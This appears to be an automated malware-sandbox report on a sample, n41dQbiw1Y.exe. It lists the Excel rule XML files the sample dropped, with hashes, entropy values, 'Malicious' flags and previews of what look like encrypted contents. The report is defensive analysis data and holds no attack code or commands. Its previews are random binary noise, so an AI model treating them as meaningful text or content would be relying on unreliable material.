MD5:	67DE0B1B091C8C70E888B2439759695A
SHA1:	B869BC06D5F5965227D63A1FC146731DF6E64D90
SHA-256:	5D02992F2C908B2CD9E139E905B88A551626240952F40B94F5164F8E0F46950B
SHA-512:	B2F3B950AB24103D2EB4C4DB5499CD92C0C6A5BA4049E9B8C90E1F6137BDEF97C2ED2732D94BEA389C7EE500A2D3D933ABF2518C24957CFECF6C6E3FD7A6841D
Malicious:	false
Preview:	<?xmlN.a.~...K6{.UG..{n.O.2gVc!si..!....}.0.Q.{...$.....36...jY..].uU9eL.A..5"......Q....\|C...h...a..))<h..6.....X2...5T_~..[..5;.HB ..=...G..K.......~..(..y..U.@px{#I.I...!.....]@'.%.... .w.9.f.[.........}...Z4;.B..Gwy./...ZGy...^.p..).>.....^T...9[.).G.P.16..G.,...k.O..B.....\j..#...x.....g....G..{WnG.K.........:N.de.&...z....).3:.L.....WX...p\|.~T.Q...)`...:..PL.......j..&..q...!..X.l.....WS.=..R>.c....Q....2.M.2...8v&.q!......b.p.....&..e.1.wJ....DH.Ey."^...\|G.;...u0..qV.h..9..<..i...8.".8p.lk.e.mx...%..9....o?.0U.....8.rv."-..h..;.........q..x...L.F.A...X..XD..t8b.L...V.v!....c.....i4..B.1#X.YJ..w.\|.ntN.k..de.l....... 0....V3y.......Ol..c......l..B.~.....\`G..j.CI.J.....iT..>?..z.F]%.M.:h..;..%....\|.*.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270018v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	956
Entropy (8bit):	7.815741260746765
Encrypted:	false
SSDEEP:	24:0evJCW2sH8LLV1bWEj562eL4hMSfw2KRh/bD:7vJD4Lr/j5Reb2WjD
MD5:	9DE08553BD066D1A253CE2DAFE55215B
SHA1:	9E82C6FC9AB0338D496CDFE5E04B5575837A0BA8
SHA-256:	FB5B3F50547023F0C40717B8D12B968981E4FAE9B152DE191D523A2B03162975
SHA-512:	A8466998D1F9C2FA0E4C249110F19779438BD9CBB4C4FED066227E776B843E20D90B46B3786B79F0977A2CDFED5582FA336EDCEA0838CF42ECA02F83DE20A181
Malicious:	false
Preview:	<?xml.g.....y.P......Mo.q..7lg[.Wc.vV......Z.<....N.....$..r..:.:K...V.3.b...S.c..avE......_..... ..........R6....u..{..lv......E .SIMl.t.r....N......a.....b.....q...Q..3....u....^d-~.. .@.r]P...@=/..%F.O...\|.....ILG..-4.j.....[Q\|..).y..2\|...7B..a`j....3W..#7..SE0..+..Z..........k\|.}....1(....hT...v.\|..+....\.... .y)\|.i../&8D.x....vV..`/....X?.._....N..../(":......{.X......)v..?t..=!w.<.4...v.'Y.kF..[w..$..u./.y...!...qk.>..~........ '<.%..W.n..V..m..W9.8...<..?S.2ec-m....l....J.2/<\..x.....]d..o{HHV.GK.........[...}!.x..B9W.r..B..8.$..p.J.Z..I.......?L....i... .....V!&l.i.R.(.'...K....4.dv..9......-.j'...'.K.";s.R..2.\|Fp._H..4xY....T..j.}.]Z....Gy -..]...JmUH"j.;.KP.W.J.....I_..Fr.....M.3....W.\......(95T.gP........U.L1.]..V...L..gp....s7Q..1i...vg../.{...;..w..........o.2.....1F.,.g........7...Q.I[AgpA:.qm.!.$..MGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270019v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	7.8354381922702805
Encrypted:	false
SSDEEP:	24:Qk+yPkshzSV13k2GAjpTNJTOtphEgUGebkYH2WT6f21sQwcbD:QqxJSVa2lpTNOUGCO0/w2D
MD5:	76D560A230BA917D1FC60A73FD80853F
SHA1:	55B8CBF6466CC24D624254CD483539A70F8F5C46
SHA-256:	8B8687842C0AA8B238E9F3B7813E170C9F0C61DF5E337522C00AEA269C324628
SHA-512:	91CBA9E4BB02F7B792371E65AE7895CEC4081B66CF4E540153A357B080FBE43263E7B3F0D762C97AA735AC4257A8262B0F50B7829255C44751178A813BD43DBA
Malicious:	false
Preview:	<?xml-..K....p.j..]^.Pn....4...}...vj..[.=.{hz.q.c..,tnE[......".g.u...7..ps....L..7..6...$...`.F..+n....TT.J.,.`...P..^Kw".....#.t...9u......d*/...8.......VG/..4.).n...Y.o8...W4...S$..jo..^t8..j.....cC2.v. "....tY.L.;..U.+.nV.....H............@.l~.k.....(..z.....@%G2.PB'7..`9...{..S.<5..0..\|.#..j.,.b.6..<.V...i.esX.\|`&-.P.7......f.+w.#6...d........Fu..t.Ur...6.T....zI.HP......!..R..2..\....C6=.2.........u.G9.U..../....=$....1.....BNO.V.{oE{..Q....e3...J.w3.Mwm.=.2}....4>...J..3=.#...Zr...{...)Z"X.6................T..(..@6..'.6....ha..3.m.]s/G3.O....q.g........q6.s...G.irg..Z......uU.W.i....cN.-...i.<}..b....Q..\......4.3-..\..b.3....SY..x..&.WE.. .!eD...&..7.P&..Zn6.7 .0..O....=.[l{.4P<....E..{k.......I0.u...Jz....t.fw.c.m.;..@..&....-.?.:mo.6..........].H..t.f......f..?.C$#.}YS._X...6gN\|....3.....k..4\."...m..2...`..f'.AK.w.V.......!...U.Te.w.1.vS.P).F.....(9.v-.P....../....?.E..B.D...`X..=...3...}.....7.+gz......[..E&...<..>8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule310000v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	7.889948991739892
Encrypted:	false
SSDEEP:	48:SCgn8WC+BZsIkSiAsLXrGyrQfCXMm70+eV3ZD:SZ8us5zXrzc6XXYF/
MD5:	109509368F3839935850078DE1552C11
SHA1:	C58DC9E94BB3DAA09BAAE741B97CE9FC8F2C996E
SHA-256:	AD6A1EF401A82C090D38134E5FEF3EDF43EB526DDC97C7A9940332B1F56E177B
SHA-512:	0BC26FD4ADAD543E28039D92DBA354E09326AEDD18C76556312CB946237DEC28F9F68BAA3AF17C810EFD300DE452FCD6F986536604AE927D3A29590B4E8496B1
Malicious:	false
Preview:	<?xml.....b.p!R^....2r......fY...~N.,.../....F.8.2w..G....)..o+..M....?.0.T.?.N.^Y..y."....R...._'..J.O.Q...8JV......K.........Xi..<.{Le.s..?"h+.dy.d..@.d.(0.....".~.\.&%.qN..KE\|.68.Gt........3j.4ZKF...D.m&kk.-X.U.t..{k...IY. .^.....@.bG~.U).."~......N...8 ?>A......J.....Xju....Q..y}'.".7..q..t.`?U._(v0[.q.d.R\|1E....C-..sR...:...+.^;............?5u\|.7g6.G.2.........t......,..w....1...x.".L.e.i.b2.\........>M..+...0.5..lt.....H....v....A...q.)L8......#.%v.6.%'(.+..Tl'}......a}p&RT..T./>.Jz...e2.j..\....b..0.q.m.........:.2.4.2.$I.^.e........L^..)@...g.nk..K5....._.[..$X.C3J..[.T...G....z....e.H..i..KZ]x.Gg3A.%..nF..z...._.4...}..........\J8...d..R.....([.r......Neo\h..Q..1.N..xlI..^g4...Cc%6...`.@;..bv...#....?-W.q,ob..+..s...X,.vU.G...:...A4.m......m....g.g..}.v..@X.:1...n.T....o...1f[...P.$g-r.vri... ."....o%.......p.........'e..y.B$..7..n.t.k.V.n.;S....~{....dw.OkFm.u...........Sr.....n...#..C..(.m{..m.R..I*.{.O..W.o...).&...^.^..M.5g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320001v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.863424759477118
Encrypted:	false
SSDEEP:	24:ts3pVKu0Am+Sb+XAd9HfdUdqQtmdTngO9sYzRZjNDeNGliT6CtGbD:t1XAzowAd9VUdqOEjrANGlZWUD
MD5:	F547DF1B33D3A4DD34CC11BB9746763F
SHA1:	4898B1CF9F9F10F50A4E25652C6E3C621F2992D5
SHA-256:	0228FAD76B18010FAF39B93B147A78A61B9DEA116D477D1AC87CBB9C043B4B32
SHA-512:	40D10098E8801C65776A2F24D3A5DF1DF2BF4FBDE920E9A3BBD7BA3B00CC3951865C8FB8D3C4608E85BEC82F9D58D60A314ED6C4162D7A9C57A6C3879DDCDF0C
Malicious:	false
Preview:	<?xml.....K.&njX)?H....3........1.z.4n....X.?....SB.i<\.......Q!.......T.{0..,...&...E.m.\|g..e^ ..?...q.eQm....<.Z....eH.b.4....d.E.,..``.@'.5..memS..x.E..r.x......x.K?.Y!....b...x..e'c.e.Bi=..L..nSg....5..dG.+..&\.~6.3..@....o..~.;.1..y.F@..f..J..f.....y~&.su....o'o..+.G.....-..dD.3z..}....(Us.v.Oy..............9.>.B.[.;.. ..).2.{H.O.M.d.".............<.48....1.....^....^&_..h.C.G.....q....)sSX.........7....AF.O7R.W..-iP.C.w.>.S>..Q. ....\|U.....J..3(l.D!\|.YN..x.............b5....v.t.....(.O...z.i$.xN.....`.......)..l..IR..T(..w1.\|..JGy...k..4..r.}.N...c<...)..l...6......m..C....=......Fk...c... .3..x[.....2.P..>...<\|.V.....aX<..'(.\|q...)d@...TA)B:'p{......B.....lRQ....p.+6..l..;.\9F.K..v....%....aR..S.`.}..g.._\wVb.(8#.#..$.6.ah.E........!.6....E....)..f...7.u...j]b....\|..9.v5.Y..WI..)..ne....5.... .-..U.D4.gl.B.._.(..O..g...Xj"&....U.NJ.. b.D.7.....f.X..k .jY..c.h.P.k.m.M.%e..S/.)mH.v..kr.c.#Q.....-......Tn.w...r.......,n.^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320002v5.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1892
Entropy (8bit):	7.883747789416245
Encrypted:	false
SSDEEP:	48:avbK9igS+YQQdVuZ+iXnVTlyOft8gCMy/3FPqrxgWeUBVD:awir+YQiXiXVTlyOJ3eUBt
MD5:	DE3B7C769BF82B2E2AF355464F517306
SHA1:	4F7610D163147819901A545A85E2BF4DC434BF53
SHA-256:	8B8E32FFF349B87FB522F3C20E81519AF545E9F4A169519FA6863FA3C04B7377
SHA-512:	F82A972B0A658B5F74C0FB7A9E8B685617B917E9ECE9E2CB4E4F2860F1103BED4746B8585ACFACEE6ADEF614733AECDB4EEA742E2E8E64319562F739C9F1C092
Malicious:	false
Preview:	<?xml.A.......FZ.....k..eb.0.T.zPK.\|>;LR...?S...5}....B..&..:;.#......(:4...4.>...+h.......t..J..........F"%...._.4.&.~F.\|y.U.@:.....#D. ..V.. .A."..m..D....4.D2..\.....\|b..:%..FKDs.&..[UQ$...m ....>.1GQ\.v.'..=.......G\.. ZT'.I5.].5.F..].....].V....s.]..z.;.n{>....I.R...\|H`.~P....)...Q....0{...$...A" ...-....y.@.N[.M.^.6j7../...p..R+j..0g.+....C-0`..x..?$ O.e.8A....>..:=PN.#.+W.u...a.'M> .....BmDr<.LSl...F.a.....S7.2:..(l...-v.b.i.).S.Q.......#..u.d....o..c....)ou............n.1f0.@...\|..\...........bR..{..p....9p..\|...l.'.Pzs4...1\|&)\|7.~...4.BHh....R.CV....6. ........f.a...oM.r^..N...Vj...(.6..nc..d(....i.?cLg.z..se%hkh...oD..d.........j.+..Z.........#........_=_.i1o>.H.Ns......40.RO.....g..T7uqz..H.u:.pQe7e]VJ....+.."..{S.I^..j..}B...;q..qvi.1..;u/v.Y..j.:...,..9!e....^Fd......K...N..F.O4.q....5=....J.6.\..#e.#n..bV._..h.?.m=..l.g....t1$..<P.....Tl._.K#S=.)e....>v8K..<j....[VM..A'.......L....2...oy..;.K-.<..&.5._}..I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320003v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.814582634932685
Encrypted:	false
SSDEEP:	24:4SLgH8WctAi8s4eOPvyPeVaI6vLR+kZhu2paRV2rA80RbD:XG8W2ARa8kqj38YD
MD5:	2B077E71D7710AC4F2358C668F205D2A
SHA1:	F5C8FB69147AB8C7890AFBCDE3DBC1151D41CA18
SHA-256:	5DD962932B7E07EE9E28958B0D59FD38C3AC7F99A607EDD827BA981C7385EDBA
SHA-512:	049727377AFB41F01B5A13DEBF66A069910D84E0274C8BC07495B973AE0CDB5DC183ADAF5B14AB213F6E0C167E8CD6B46A36F2AA68E0418AFE30BBEC86239F77
Malicious:	false
Preview:	<?xml.y...Cy.zt....u"......P......b.s..X!1....Hx6.Zu...Km.X..8HL.G{.d....e......j...l.e......?A........].ig....H.!..eA0...4.kU..%.md.g......v.....\..H"..e..:....d...k.E7...PL.8h....nrE..._,........W\|..j.. ..$g.....W.n]......B....$... ........fl..\|..m...k.a..WH{D...E.sr....-Y....J/..._.t.J..L...1....)..-b..k&X.}.k.\|...o.=..o.S..V....7..K.-..;k1..C..;....!...p.... ....v......L$.t..vG..........q.M..Dj...>FH.8..C....!.].#f.Q..n.Gf..G.^7.....g...uA........Qt.GJ..KZ..K.\|./:9.u.b..........#M.oIb0u..B.l4..}.{...bof..N.....g..4....U.E..K\|..2aX.B(......f>.7..y!.8&..).\|+M..`D..}bA0...&...%..............W...F$...Y#.......O.u....l......:0..7...M.D..$..\|..B.K.....p.......D,.r..]..f..jpz..x .g...:..V..i...]f..k....`Xhd.U..W. .M...M.^.=......k.".H.=5.?......J.@. w....xs%.1..+..?.{.......o..&.......d......,.aq..SX.i.4S\6.......-..jV..gYE....=L.G:A.de.:.......a.V.......H...^1memC.Q+.I......)..w.K...O.Y..D......4,t..O..v.V. y.(.fr...v)\|....K......S$.).{.{U3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320004v6.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1967
Entropy (8bit):	7.9012004149026875
Encrypted:	false
SSDEEP:	48:5kpxBk5rNuk7xczGV7mXUr3BRErClhI71oIZzhD:WpxGpNj72E9RwSI71v
MD5:	9ABF10804559517C4DFB99C9364A13B2
SHA1:	8FFF557B2CB3E241BDD304A8F05C9D1912881629
SHA-256:	72E99F60D5756DD90C5419DF672615F053D8692AB657147855C152EA12122354
SHA-512:	FF87B915CD5A51B82B2159042FE52358873338D66AC72253BA0826D3D923A850FC0C0D34489C76F0CF349A1E0F6EC4EFB74C9C936732D6BA52D7314662C4C7EE
Malicious:	false
Preview:	<?xml..Q..X..,.\l ....c....Tt..a..2q..w........Q...?......S..5X.lS.~.....Z.O...r.t..d\2..7s/..9.Z.R..........'q.u....\|7.6.[..f0...Y..BW..W..."s....&Y..(....t_..m..q...>......D6@1W7..V......).......z....!./.1..^.v...a.....>...P~..`..%...$.....>.)bZp.a...Z.x...~.]..".0T].=..l..+..k..@.n..i.r7.t.m.Y"c.K....y.P.d...g.t&..(>..7.W......B.\|~..T.s..7~:.......O..O.p@.$B.i..K..a.....v.y...c.......(Q.._.M..H...P...4IL..?.TC...\|.'.......1...-&..e...T.}.b.5.....fk.....kqx...T.;..=xs0.%..e....~..zFL+$.M..t.@....V.a,.....1uw..D.`...{...-..F@.`L..~.0.@f.cK.m.7..[.M../I.46...~...$.[...%....@.[...^.y...;.....uV-....~..7.'....}....W...c._U.,....d............L.....9w...t...g......A.s....9..>......j...&..J..\|$G...[l%..~.!..r=....Y....X8..n.T..e..:?.Sp......v ..o.do....L.S.S...F.[cFGm......Tfs.Z.Vc:h.R.8b..,L.ZIW..\|.h..$...N..Y........'.........E9..Z.j.L.E.&...c.<.~K8.,.gU.,<n.5...@.....M.....L...-d..J%...iB=vN...Mi......n..XA.......g...".m&oX.7".=.e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320005v4.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	7.845342542563639
Encrypted:	false
SSDEEP:	24:96BHIenV5Y/kH6HmzJdzgo8VW+Hjl6NePEEVhkRMxdG86p8V8EYtSBbbD:eHIenVskH5Jx8Y+HjoorhSMxmWCt0fD
MD5:	17CA2B5FAA8829D642C6386641E14344
SHA1:	B4C2ECC4E2759ACF08DD0833CE45B208C15B2E65
SHA-256:	E44F87818AF573E348378BBA97B76A4B65A8179D5BE29C6FAA29AE19044FD2E8
SHA-512:	79D1420EE174576691C991CCC10C98F5298370B5B211C2AA2D2BFB56E148039466EE172BC0A9BCCF50BEB538FE38F9B9B37DB1A2A3FE91447F5C0DED3AC364A6
Malicious:	false
Preview:	<?xml.>....;n4J..F.O.P7U'.$.........3...K..A../...=..'J...v%l...YM.K...!..%.S{b.#..L..l.k.<..PV...HC..P...MZ.B.or....w..e..^.X......Ng.C0o.H{.j.....~>..P .8.\=5....1..5...G.....w..yI.U...&.b...U?...(o'....ze^4.P...n].SF....#X8..P4. cn..i...1vH...i(.q!...dIu<..F~..G..e.....HQ_..Jk.D......Jk.S.NwP.>W#.UE....Z.o..../.q.. D....C..s. c.#7..../.B....a..C.zT.d?.=.{..O.%..>..5...\.<....D.y.r;{A....9...xS.s..X....\|=.Q..\.f.#.....e.......b.l......?]W+..I".`q;."..{.<..%.U.........cc..(.M.....xx.%...#...o.@....lN......U..b).."./>A..N...Pw.+.,%}w.?....G...p...z...RCe.......).;...r.pi.T<...{....KkP.H......]y.1...BW.\...I.dV.`{$'..D.../n..1.....\|xH5..&..d..>n........A...*=...0..........7....o....i.$.'..]......7...E1..oN.....W.U..c...F...b..2>w}..nEn....Eay.....(.b.i..E.fA....C....YodPxjDp]d........Na.\.d..9_um3_...Z.c..+C..'7.W..].Vw..#>...P.....^k..f.J.k...w...o.....{UX...6@j../.....Vs.....2.BE..Hm..3.(..S....55.....b.ax'kZ..T...........sG..ra]...x..y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320006v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1528
Entropy (8bit):	7.854446162908498
Encrypted:	false
SSDEEP:	24:l4k1hi1KS8SIxqrQ6bm5qCvaomt86DUuOBY1jJiwlvizciiHWFHqVK/tTfTAdm7q:lS1KS0aQ6zkyUdkJiwJFqAcrAdm4dD
MD5:	A485561DE1F0184F2A2CE0119EF0886D
SHA1:	21E7FB499727F223350249FDF653B3084F7E002C
SHA-256:	E0DF489940288E11CA94F258F725633ACFE676139AE84527BD10EBF839996A67
SHA-512:	0C52A09F909BF910EC88ED24DA66645C9A54D81DA1DB30444ADA877C6260ED96E435EB4714693C402F3D552DCBC5AB8F7203576141E6A07A67EE66DE6A03D7C8
Malicious:	false
Preview:	<?xml....$&...o.i.J..\|...Jc...O.t.Tb.`....U..j..;...7<;....Pqa..l....:..#..7.U.`i90..g. ..f...... .O....3v..<s..../.{...R.....k.".Kv..$.'.I..wE.YB.......di.`V..Tyte%.TC..Yo....ZgsG..}....`.....H7....K.....>;.}...=...8S=...p2V.....j.e.-.>)p.0._.rV....... .....J..M.!..4ha.)Y!4....n1>.7....1su..w...!.Z@z..`..Kt..Sk;y.w.p.Q.K......!..u., ..#.D._..\|V...K@+...&..f../.$4............:...1....4h)A.u..'.Ch.#..^o.e<.0j....u.c...Dk.j.......[=..G{HZD... .\...x.w.).Y..TD=Y..8..=...!V..g.H..`.N..n.g.q....".....TL\|.."a4aS....`.,..c....f1Xpl."..g..h....m.MH.J...Q}.o...5...o$P#.YeAW.~.Dl.R.jI...n..)..E#../..[..S.t+...Y.TiZ..>.s.......\|...1...P....._;..{.a.....]....!....o..7q........g...j.3.;.U.o.KP.....n..#T..^o.Y......~."........k......C..I..*(...R..~..u.w.....^..w......_.d.c.o.M.{....xM.Ci&...).1.7...........ttB........ /!.jK...)...'...fm)..x..[IP4.Y[>.....4.....0z.....]cv.Q.J.dl..SeK..M.{".....).2Z2..+3>R~.f7.-.....^.B.&gS....'?.H.M......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320007v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.844532277363726
Encrypted:	false
SSDEEP:	24:ZltPSe1pOs6iB2zQzMl2EMP95ZFXKhkZLaYd6pNQIdkaxb98e8Yv1B37bD:TtKqpR6iB232JP95ZFXKhkZLZdOQg9/Z
MD5:	6ED82BEFB435C51A88C957A101DA2AF7
SHA1:	3A586755093BF6CFAFE393673CEDE7C94DABAF25
SHA-256:	A73EE5A6816AB46E9F62F7B6D69634E7297BF7BF6E4605A4085208F200C11E42
SHA-512:	20E0E566D1F03CF7E3830603845D5776F35514137304741EEA0A179E170C2F9EA76FDA09AB7368BC74B4FCDD6C1DB7A275F8C7DCFD72751244502279DBCB63FD
Malicious:	false
Preview:	<?xml....._..c^=.....Q\.u.-...2.\|..%.}.....:...$w..\;.;.`7...\.0.F]guj...:$.}.....L.P.o.D.A..)'..T...h.-..GA?.\...D...e.j.`.}{w....$bD......#..T\.LY..+}'.....E`......E>..x&.......tMSZ.s@.C.7g.Ta..@!...^e.M.%....qX.A...w..Fox....k..F..o....[..J.:.#..k8.$.....=.f.....X@...d@..}%v.....=.....q.P........w.vI+hE....U+.i...@@.eb._..>......#.......9...0.pY.....G.R^..@...+?..5......j.I....;3E.....pKFC...8..~I3.../nJy.Z.a#{..o.B8.xX>b...e.M..\3mx...:.de.....\.tQ.a.u.,.M..o........C&@1.gemS8....S8.m....s.z."..V..N.Q..:..l.......&.......&#W..W..F..)/D.e.G..._.....X.B?..........O...J.f........g.@q..N.)....+w..@v-.-N.zbAw...Q..z.iH.K.q.R-t-`/.....C.<....pe7...v.g..L..4..3..s.T9Z}.s5..../....<m.E. .).q 8M.F.NlO..5.+.jV.......TX...9)........r"..rZ.%.A.8..S....^t.)....b2.#...Oh.b.i..DZl..h^.^.....-.)....9.Y..y........k.F.V.v.S]...O.G.....M.V.J...-}......X.G;...Rf....]....C-yC..G..8n......tK...k.P....k.(.\..aF[....Y\|.t.C<........0z..2.X.\...5l.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320009v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.75873487699963
Encrypted:	false
SSDEEP:	24:5IiVbD6YtM2Zl79ECERpDbzMwBCWaabCzsmNbD:5vVbmYt/iRpLlCq0sKD
MD5:	507476B2F67345ACF0B50FE65C3269FD
SHA1:	78B1C011BCDC19F3AC226F1AFF2B12CB6BD69B77
SHA-256:	61555AC8EA15B73743B16450AEB2CE2240B5409BB4BD43CA37207FE5C24F94B7
SHA-512:	732016D2392974E5ABF4C0E20EBB306F5B49DF8957118EDC2396EBFDD743FAF39889E4A5F008DF232F9978863532AF3E49DA6BCB196E97E5828CC2AD8F21E0DF
Malicious:	false
Preview:	<?xml...K.l.....p.qQ...2.C.Op..zq............3].@L.E..E.E.V....t.i..9./^.;C.Vs[...(s..d.A.c.].B=M%........].E..N"NV..g/.......~...Y.. .O..#..!O(5..U.}.V_....^r......./qlz..Z/.,(...-...&._..j.........."D..z".).5.....o.!.n...7ksS(;....B..X.5.........).T....-.\|.D!.............!..u...>......nC...4...c.......RK.[i..'mW.!.1.t.G.].5....1..i.Y....@.R...].P.X.A...>.h.....s.$....P;.............W~.:nj.H&d]..2.y.!F.C.m...../L8.m.:.......)...J....k...I...y.Wu...2S.$..&\?.X7O,.]..g.?.`.i.....n.i..A.e.#JlK.18i...g.Gip.@..F.....i.y#.=..}m]us;m...Ju.V1.~..9.V..(.)n...~@.m.6Q.s...E..z...9...z]..M.^X.O.S.h.Y.\#G..g/.`%hC.&*..%....o.<\|.$.nm.....+T....:.b..~.m.`..-K.x6..&.tx.;.H W...p.T..Q.b.}...&....%.[~..P..s[:...`.wa.....RL...n....9>....C.D^.O.....Oym.b..!?.....ZH)}GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320016v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	901
Entropy (8bit):	7.732854010666957
Encrypted:	false
SSDEEP:	24:eotqnYxgvnEwBdU5GLVgXO4iaRPFFrxGYozjbD:eotq0EVBdG6ge9KPFFrBq3D
MD5:	A4C2367AE889C16EA14B366E5490B09E
SHA1:	FE84B145B6DA6885DAEBFBC26ECEEE7C1D0E3706
SHA-256:	E9398C562565969620D659B7FB8E69BDBF80BDBC7E1ADC3BFD5DD766D49B3947
SHA-512:	C4F15BE57C33E14D0F2A7A9750401E5F8BADD23AFB8953C4AE4AA41F87D4E5B96833B01C66B8C7C00092F11CA1D4B255A96AB6D79EEB695FE73797B93E24CF4F
Malicious:	false
Preview:	<?xmlqqsj.E{......z..L......a..$..M..A...+o._4..$,x....b.c.h.L...i..?..2L.B[`~..(.77n..E...3.zb}.q......i...QDg\|..-..I...a..4..."...V.Lz..."B..<t..s.UG..X2.o..{..............Z....O.F....'......+H..Be$.B.Y...W..5.hu.O..y.@....a.!....d../...LTYU....k....O.g2....v..V...wB.....\|..........b:.&4......Py0..sh..\|...R....V.......v.....xO.J5.u..`y..U..U.Z*.h...&.t.O_...k..e..G..{5.l.-O.)..V<.k..k..Z...x.0..(..Q.Z....&r..;.w-"....L..<..yY..8....).;....:.....eba..\.#S.....5......%O.x0.'[....}..._......#^..E'.w&..%,D.F....0U..... ..D...V.$Z!...h.&m........fF!.8....T.5.?u_..z..g.#..f..P.P3...}..Z.no..V5b..~...+.1..b..U...j.....1.(ge......{t.R.5#w..1..B\1........?..sV.K....\.wC... ....\.t...)...~.Z..1.g...D..XR..C..mhjw...@}.....^....?. .0.u....X..Xb..@......5...A.."....f.2GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320021v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.7851021052071205
Encrypted:	false
SSDEEP:	24:+vzykThpZTWY1N9ynpsAJnGvUf9pCUPvbD:+vzzTzZ11E5p7FPzD
MD5:	E843BD6228015302BE722F84D43D30C3
SHA1:	2DA908707007C0E489EA998A6C26ACC80BC590F8
SHA-256:	89B2D5757A1A61698177E1DF77D1885AA5080892665B50BA9BB0BF724F044181
SHA-512:	43DDAF7D02D23E3EBB5141978448EFEB4193DA1EE0799BF658F3AA553947F2BA3D313C121242404ED53B79B45E71B48566D2ADE6104DC2E77EEC6EA59C23F507
Malicious:	false
Preview:	<?xml&A....8.i.....i...^.,M gVQ...`.`......)&xZ?]..^...D.$/>./.....H...JYm,..+..C.`.%...;q...$WJ&5.<z@t.....QC...@..0.L.k0.z......k.C.;.1......\|...V.l2.y.....y.J.o.M=.........\C.67<M.7S.q.t..-..."...b.\|>.4)..FB.,y.W..Zh.o...j...v....[{Yq.J...D.....v..@..?..Kb.0...A.2..p...d....GU.h.:{l...Hf...)".xf16.(x]vB.ug._`x.....FVn........E6.....l./...$!....f.G..[....rl].7Z.-.e.c{C....h.).4...4.k......).q..D.8.%NU..!.&f...Q.2Aj.\|c..&'..?..%h9.q.j..f.P..@./%)..b...[y.....7.2..[.=`".....<.r...s^..v.,T......~h.]5o.6Q.Z`). Ri.....X.,.....}....{n..8.D.L.....h....x.,.......T.au!gX.BW....'..h.11R...p....r..4.8B.e..+.x.........;.V...:;..%ym..y.+....ud.<.+....r..;...S.#'$...N.....}A...U:u..~a..a.2.\K.n....8&..T.....w...O.@h..?S_3Q.......=zM.R.....IpGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320022v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.673502804734046
Encrypted:	false
SSDEEP:	12:2+KocwQHcxk+TujejvlvPloLeVRebwlUXmPT/l3f8eBKLkBIGc60gYcii9a:2lofk+TuKjjWmYbGRJokBIRlbD
MD5:	02F7D8802DC81FCD53D3975A768148EF
SHA1:	9D1672718A0494D754A1CB24D74CBA8480237FEE
SHA-256:	F6F9DE22774B8EA43FA8EEA16C73AD984E20C3CFA27CA0F86219A3E92BD8E71B
SHA-512:	F9771E4F50725920904CBD759AB749586D93806CE2FE4C9C1CA79CEDB391F26D35DE57C15427ADF2412E6353BE6735B8360737A69F15CBF8330462DBCAF8309B
Malicious:	false
